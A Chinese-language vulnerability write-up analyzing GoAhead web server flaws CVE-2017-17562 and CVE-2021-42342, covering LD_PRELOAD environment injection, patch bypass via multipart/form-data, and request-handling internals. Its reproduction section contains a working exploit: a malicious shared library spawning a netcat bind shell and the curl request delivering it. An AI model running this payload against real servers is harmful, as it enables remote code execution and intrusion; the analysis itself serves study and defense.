小工具      在线工具  汉语词典  css  js  c++  java

goahead环境变量注入漏洞

安全,web安全,网络安全 额外说明

收录于:40天前

一、简介

1.1 下载地址

2.CVE-2017-17562

2.1 漏洞分析

cve-2017-17562远程命令执行漏洞影响Goahead 2.5.0和Goahead 3.6.5之间的版本。在cgiHandler函数中,将用户的HTTP请求参数作为环境变量,可以通过LD_PRELOAD等劫持进程的动态链接库,实现远程代码执行。

2.2 代码分析

该漏洞的原因位于cgiHandler函数中。代码首先拼接出用户请求的完整cgi路径并赋值给cgiPath,然后检查该文件是否存在且是否为可执行文件。然后是漏洞存在的关键代码,如下图:

代码将用户请求的参数存储到环境变量数组envp中,但不能是REMOTE_HOST和HTTP_AUTHORIZATION。从这里不难看出,黑名单的过滤作用非常有限,这也为攻击者提供了利用点。

如下图所示,代码继续执行,并将webGetCgiCommName函数的返回值保存在stdIn和stdOut中。该函数将返回一个绝对路径字符串,默认路径位于 /tmp 文件名格式 cgi-*.tmp 中。

然后代码将 cgiPath、envp、stdIn 和 stdOut 作为参数传递到 launchCgi 函数中。


PUBLIC char *websGetCgiCommName()
{
    return websTempFile(NULL, "cgi");
}

PUBLIC char *websTempFile(char *dir, char *prefix)
{
    static int count = 0;
    char   sep;

    sep = '/';
    if (!dir || *dir == '\0') {
#if WINCE
        dir = "/Temp";
        sep = '\\';
#elif ME_WIN_LIKE
        dir = getenv("TEMP");
        sep = '\\';
#elif VXWORKS
        dir = ".";
#else
        dir = "/tmp";
#endif
    }
    if (!prefix) {
        prefix = "tmp";
    }
    return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++);
}

输入launchCgi函数。根据注释我们知道这个函数是cgi启动函数。代码首先打开两个tmp文件,然后fork子进程并将标准输入和标准输出重定向到子进程中的两个打开的文件描述符,最后调用execve函数执行子进程中的cgi程序。

至此,漏洞相关代码分析完毕。当代码执行execve函数时,cgiHandler函数解析的envp数组作为第三个参数传入。攻击者可以利用LD_PRELOAD环境变量配合代码在请求参数时重定向/proc/self/fd。 /0指向POST数据,实现动态链接库劫持。

2.3 漏洞复现

通过gdb下载、编译并运行存在漏洞的Goahead程序(3.6.4)

git clone https://github.com/embedthis/goahead.gitcd goahead makecd testgcc ./cgitest.c -o cgi-bin/cgitestsudo gdb ../build/linux-x64-default/bin/goahead

编写恶意动态链接库,代码及编译命令如下:​​​​​​​


#include
#include

static void main(void) __attribute__((constructor));

static void main(void) {
           system("nc -lp 8888 -e /bin/sh");
}

// gcc --shared -fPIC poc.c -o poc.so

​​​​​​​构造HTTP请求发送

curl -vv -XPOST --data-binary @./poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0

断点位于 execve 函数处。此时内存情况如下图所示。我们注入的恶意环境变量LD_PRELOAD存在于envp数组中,并指向/proc/self/fd/0文件。在代码分析中我们了解到,launchCgi函数会将标准输入输出重定向到子进程中cgi-*.tmp的文件描述符中,并且根据以往的经验,会将POST数据作为子进程的标准输入cgi,这意味着此时/proc/self/fd/0指向了我们的恶意文件poc.so。执行execve函数时,可以劫持进程动态链接库,实现RCE。

2.4 补丁分析

首先,在cgiHandler函数中添加了更完善的过滤检测,使得以LD_开头的字符串无法写入envp数组。

其次,增加一层if判断,当s-arg不为0时进行字符串拼接。根据索引找到的s-arg的赋值语句位于addFormVars函数中。当处理内容类型为 application/x-www-form-urlencoded 的 HTTP 请求时,Goahead 会调用此函数。

3.cve-2021-42342

3.1 漏洞分析

cve-2021-42342远程命令执行漏洞影响Goahead 4.X和部分Goahead 5.X版本。在分析cve-2017-17562的补丁时,我们了解到新版本的程序对黑名单的完整性进行了优化。不过在4.X版本中,增加了一个strim函数来处理用户参数,如下图:

进入该函数,当第二个参数为0时返回0。由于开发者在使用strim函数时出现错误,导致CVE-2017-17562的黑名单白费。

上面在分析cve-2017-17562补丁时提到,在addFormVars函数中s-arg被赋值为1。为了实现环境变量注入,s-arg必须设置为0。绕过方法也很简单:header中的content-type可以是multipart/form-data。

后续利用方法与CVE-2017-17562相同,不再重复分析。

3.2 代码分析

为了更好的了解漏洞的完整执行流程,这里笔者针对Goahead处理Http的机制进行深入分析,其中不对的地方欢迎师傅们指正。
在Goahead进行启动后会执行websServer函数进行初始化操作。其中websOpen函数对route.txt文件进行解析,关于route处理可以看一下layty师傅的文章。

websOpen函数会根据配置启动相应的代码模块

cgi请求的回调函数是通过websDefineHandler函数定义的

websOpen函数执行后,返回到websServer函数,调用websListen启动HTTP服务。代码如下。当收到HTTP请求时,会调用回调函数websAccept函数进行处理。

在websAccept函数中,调用websAlloc函数为请求分配一块内存地址,并将其添加到webs列表中。

websAlloc函数调用initWebs函数来初始化Webs结构。

至此,Goahead已经完成了Http请求的初始化,通过执行websAccept->socketEvent->readEvent完成对Http请求的处理。

调用websRead函数将数据写入wp->rxbuf缓冲区,然后执行websPump函数。如下图所示,Goahead 中 HTTP 处理流程分为 5 个状态,每个状态由不同的函数进行配置和处理。

3.2.1 WEBS_BEGIN

WEBS_BEGIN阶段由parseIncoming函数处理,代码如下图所示。其中,我们需要重点关注三个函数,分别是parseFirstLine、parseHeaders和websRouteRequest函数。

parseFirstLine函数负责将请求类型、url、协议版本和请求参数保存在wp结构体中

parseHeaders函数负责解析请求头。请求头中Content-Type Key的处理流程如下图所示。为了满足漏洞s->arg为0的触发条件,我们需要绕过addFormVars函数,即请求头content-type为multipart/form-data。

websRouteRequest函数用于确定HTTP请求的处理函数。将url路径与route->prefix进行比较,确定最终的处理函数,并将结果保存在wp->route中。 routes数组存储了route.txt文件解析后所有处理函数的相关数据。

调用websGetCgiCommName函数创建一个临时文件,文件名格式为cgi-*.tmp,用于保存POST数据。

3.2.2 WEBS_内容

返回websPump函数,然后调用processContent函数。功能部分的代码如下。 filterChunkData函数检测是否所有数据都处理完毕,websProcessUploadData函数是处理上传文件的函数。

进入函数后可以看到上传操作分为5种状态,每种状态都有专门的函数处理,如下图所示。

initUpload函数将wp->uploadState状态切换为initUpload,初始化上传路径并确定上传请求边界。

processContentBoundary函数判断数据是否已经处理完毕,若是则将状态切换为UPLOAD_CONTENT_END,若还有数据未处理完成则切换状态为UPLOAD_CONTENT_HEADER。
processUploadHeader函数通过调用websTempFile函数创建用于暂存上传数据的临时文件,文件名格式/tmp/tmp-*.tmp,将临时文件的文件描述符保存在wp->upfd中。
processContentData函数调用writeToFile函数将上传的数据保存在临时文件中,并修改上传状态为UPLOAD_BOUNDARY判断数据是否上传完毕。

 当全部数据处理完毕后wp->eof置1,wp->state状态更改为WEBS_READY。
返回processContent函数后继续执行,调用websProcessCgiData函数将POST数据保存在临时文件cgi-*.tmp中

3.2.3 WEBS_READY

程序流程返回websPump函数后,在WEBS_READY阶段调用websRunRequest函数。该函数主要负责将wp->state切换为WEBS_RUNNING并调用cgiHandler函数。

 在代码执行到漏洞位置时,s->arg值为零完成绕过。后续的利用原理与cve-2017-17562类似,这里就不过多赘述。

. . .

相关推荐

额外说明

java获取本地mac地址

如何用java代码获取本地mac地址呢? 我们可以通过cmd命令:ipconfig -all  来查看我们电脑上的mac地址是多少。 目录 一、自定义方法获取本地mac地址 二、利用第三方工具类获取本地mac地址 三、两种方法程序运行结果 一、自定义方法

额外说明

机器学习进阶 第二节 第九课

推荐系统 概述 什么是推荐系统 工作原理 个性化推荐系统的应用 概述 在研究图和涉及推荐系统之前, 了解上面是好的推荐系统至关重要. 什么是推荐系统 假设以下, 如果你想买牛肉干, 你有多少种方法? 假设附近有一个 24 小时便利店, 你可以走进店里,

额外说明

MySQL使用binlog日志做数据恢复

MySQL的binlog日志是MySQL日志中非常重要的一种日志,记录了数据库所有的DML操作。通过binlog日志我们可以进行数据库的读写分离、数据增量备份以及服务器宕机时的数据恢复。 定期备份固然可以在服务器发生宕机的时候快速的恢复数据,但传统的全量

额外说明

Mybatis逆向工程详解

     Mybatis官方提供了逆向生成的工程的工厂类,这个可以针对mybatis执行所需要的对应数据库中单表的pojo类,以及pojo类和SQL以及其对应的Mapper文件,都可以逆向生成,同时,这个有较多的生成方式:maven插件,基于xml配置的

额外说明

解决org.quartz.SchedulerException: Job threw an unhandled exception.

文章目录 1. 复现错误 2. 分析错误 3. 解决问题 3.1 解决方法一 3.2 解决方法二 4. 分析spring中的jdk和cglib的动态代理 4.1 动态代理对比 4.2 原理区别 4.3 性能区别 4.4 各自局限 4.5 静态代理和动态的

额外说明

《实战:如何使用Vue2.0开发一个npm组件库》- 1、npm 包:创建、发布、更新、删除和使用

环境版本 @vue/cli 4.5.12 node 14.15.4 npm 6.14.10 一、创建 1、先创建一个文件夹Demo,这就是你的工程文件夹根目录。“我的电脑”地址栏中输入cmd,进入控制台。 输入如下命令,用于创建 package.json

额外说明

四、Pod 介绍

一、什么是 Pod ​Pod 是 kubernetes 集群中最小的部署和管理的基本单元,协同寻址,协同调度。 ​Pod 是一个或多个容器的集合,是一个或一组服务(进程)的抽象集合。 ​Pod 中可以共享网络和存储(可以简单理解为一个逻辑上的虚拟机,但并

额外说明

30+最佳WordPress商业主题(2020)

您在寻找最好的 WordPress 商业主题吗? 您在寻找最好的 WordPress 商业主题吗? 虽然互联网上有许多免费和收费的 WordPress 主题,但并非所有主题都适合您的企业网站。 虽然互联网上有许多免费的高级 WordPress 主题,但并

额外说明

Mac 下 Charles 抓包设置

​ 1.首先下载Charles并解压 2、安装证书(可以网上下载一份青花瓷证书,拖到钥匙扣上,改成永远信任) 3.设置为MAC代理 4.设置捕获https的链接 5、手机抓包设置(确保手机和电脑在同一个局域网,且手机与电脑使用USB连接) 抓包测试结果如

额外说明

数组-接口3-使用示例1(两个数组的交集II)

题目和示例 解题思路: C 语言双指针法 第一步、用qsort对两个数组进行排序。 第二步、申请动态内存作为返回结果。 第三步、使用两个指针分别指向两个数组,比较数组元素大小,若相等,存储该值,两个指针都向后移动一步;     若不等,值小的指针向后移动

ads via 小工具